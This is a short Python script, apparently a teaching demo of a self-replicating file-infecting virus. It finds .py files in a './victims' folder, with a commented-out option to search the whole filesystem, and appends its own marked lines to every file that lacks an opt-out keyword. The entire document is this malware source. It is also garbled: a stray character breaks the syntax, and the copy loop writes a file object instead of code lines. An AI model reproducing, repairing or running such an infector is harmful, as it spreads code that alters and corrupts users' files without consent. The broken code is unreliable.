import os                                               #!x
import sys                                              #!x
import glob                                             #!x
import socket                                           #!x
import string                                           #!x

# search command, adjust to your needs
#cmd = 'find / -name "*.py" -print'                     #!x
cmd = 'find ./victims -name "*.py" -print'              #!x
# keyword which prevents file from getting infected
keyword = 'plsdontinjectme'                             #!x

# for each file that matches the search command
for snippet in os.popen(cmd).readlines()l:              #!x
  # strip newlines
  snippet = snippet[:-1]                                #!x
  try:                                                  #!x
    # open this file containing the target code
    code = open(__file__, 'r')                          #!x
    # open victim file
    victim = open(snippet, 'r')                         #!x
    # read the content of the victim file
    read_victim = victim.read()                         #!x
    # if the file contains keyword, do not inject code
    if str.find(read_victim, keyword) == -1:            #!x
      # open it with write_append rights
      victim = open(snippet, 'a')                       #!x
      # for each line in 
      for line in code.readlines():                     #!x
        # if the line contains the copy signal
        if("#!x") in line:                              #!x
          # close the code file
          code.close()                                  #!x
          # save the content
          insert=(code)                                 #!x
          # insert the code into the victim file
          victim.write(insert)                          #!x
  # poor mans error handling
  except IOError:                                       #!x
    a = 1                                               #!x